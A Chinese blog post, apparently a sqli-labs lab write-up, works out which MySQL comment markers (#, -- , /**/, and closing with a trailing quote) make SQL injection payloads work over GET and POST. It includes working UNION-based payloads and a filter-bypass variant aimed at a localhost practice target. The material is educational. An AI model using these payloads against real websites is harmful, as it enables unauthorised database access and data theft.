mysql sql注释符号_SQL注入注释符(#、-- 、/**/)使用条件及其他注释方式的探索

以MySQL为例,首先我们知道mysql注释符有#、-- (后面有空格)、/**/三种,在SQL注入中经常用到,但是不一定都适用。笔者在sqlilabs通关过程中就遇到不同场景用的注释符不同,这让我很疑惑,让我们来深入挖掘一番(篇幅比较长,省时间可以跳到最后看结论)。

以第一关(GET提交方式)和第十一关(POST提交方式)为例,从前端--数据传输--数据库查询命令三方面讲解:

7c573a37e55a21d72195c9e2f5761cdf.png

目录(本文篇幅较长,点击目录跳转)

在关卡源码中找到要执行的SQL语句,在下面加入以下代码,方便我们查看执行的SQL命令

echo "$sql
";

0716cfba32cbb30c784fc387c242c440.png

一、注释符:-- (后面有空格)(也就是--+)

第一关(GET提交方式)

1.URL:

http://localhost/sqlilabs/Less-1/?id=-1' union select 1,2,database()--+

97e6bfbc03ab363c07776f71f8cbc77b.png

执行没问题,注意黄色SQL命令这里的--+变成了-- (后面有空格)

2.burpsuite:

c3ee13bd17258ca76079586d280b80e7.png

传输过程对单引号还有空格进行了url编码

3.MySQL命令行:

e40e29756bdc9b7c10edac29abbec6fc.png

将页面黄色命令复制到MySQL命令行,执行没问题,注意这里的--+变成了-- (后面有空格),即正确使用了注释符-- (后面有空格)

第十一关(POST提交方式)

1.POST参数:

uname=vdf&passwd=-ad'union select 1,database()-- &submit=Submit

e9b8b6e4ad52194abeffce31a740377c.png

执行没问题

2.burpsuite:

0d6c47842b037dee3cfe61502111de67.png

因为是POST提交的数据,所以不用进行url编码,是POST原文

3.MySQL命令行:

14081fea782876c8bec7d7944dc83f29.png

执行没问题

二、注释符:#

第一关(GET提交方式)

1.URL:

http://localhost/sqlilabs/Less-1/?id=-1' union select 1,2,database()#

d69668635667f98447e70b71607c16fa.png

执行命令提示语法错误,来传输过程看看经历了什么:

2.burpsuite:

f89dd0efa64f4255477ee154c084704b.png

传输过程对单引号还有空格进行了url编码。原来是#号没了,为什么呢?因为url中的#号代表html页面中的锚点,数据传输过程并不会一起带到后端

3.MySQL命令行:

9670a6d46b55935947986401f57da306.png

上面说到,在前端页面执行语法错误了,那语法到底是哪错了?我们复制黄色命令在命令行执行了一下,提示少了一个单引号,就可以正常执行了,原来错误就在这里了,我们分析一波:

①url中#号作为锚点,不当做数据来传输

②命令传到后端,少了一个单引号用来闭合命令(我们可以利用这种特性,在url中命令结尾添加一个单引号来代替注释符,又一种方法get!)

解决办法:直接在url中使用#号有问题,就可以把#号转换成url编码(%23)就可以执行了

1.URL:

http://localhost/sqlilabs/Less-1/?id=-1' union select 1,2,database()%23

e8d70251e4856a52a02592bb92634874.png

执行没问题

2.burpsuite:

0f882898ce0ab23bb63bf583f925ad7a.png

传输过程对单引号还有空格进行了url编码

3.MySQL命令行:

618ed281256cd15885f68913c1f06b59.png

执行没问题

同时得出传输过程结论:在前端注释符使用url编码,传输过程中把url编码带上,到后端就会进行一次url解码操作,#号注释符起作用。

464b409babc744947183eb172434fc23.png

第十一关(POST提交方式)

1.POST参数:

uname=vdf&passwd=-ad'union select 1,database()#&submit=Submit

6740d127fa2b4c190e48c6acc2c54f3b.png

执行没问题

2.burpsuite:

33d84d3edc5a31dd3f927b2c83a6077e.png

因为是POST提交的数据,所以不用进行url编码,是POST原文

3.MySQL命令行:

97a9b7ea43462079bb1354670b2db59e.png

执行没问题

三、注释符:/**/

因为注释符#、-- 都是把后面的语句全部注释掉了,而内联注释/**/则是注释指定部分,需要一前一后闭合,所以在传参那里几乎不做注释语句用,而是用于过滤空格等bypass,如:

?id=-1'/**/union/**/select/**/1,2,database()--+ //过滤空格,用/**/代替空格

其他注释方式

四、注释方式:payload结尾单引号闭合

第一关(GET提交方式)

1.URL:

http://localhost/sqlilabs/Less-1/?id=-1' union select 1,2,database()'

6ddef2280b51fe70fe10ca9bc873787d.png

执行没问题

2.burpsuite:

6bf18c0796807b0e74ce3aac1f1791cc.png

传输过程对单引号还有空格进行了url编码

3.MySQL命令行:

c4f557251431b5bb73a9116242511e99.png

执行没问题

第十一关(POST提交方式)

1.POST参数:

uname=vdf&passwd=-ad'union select 1,database()'&submit=Submit

2198b9ebba2069435c254605d362d7d5.png

执行没问题

2.burpsuite:

2d2ec8f603636fc5dd628ea37fabf33f.png

因为是POST提交的数据,所以不用进行url编码,是POST原文

3.MySQL命令行:

e0dfca7c7df20f06dfafc058bc43ee60.png

执行没问题

五、结论

(GET提交方式):

-- (后面有空格)

%23

payload结尾单引号闭合

(POST提交方式):

-- (后面有空格)

#

payload结尾单引号闭合

全文手打,各位看官觉得有用就点个赞呗

7d57ab2ec13043f29cbefd054b5399e0.png

  • 22
    点赞
  • 37
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值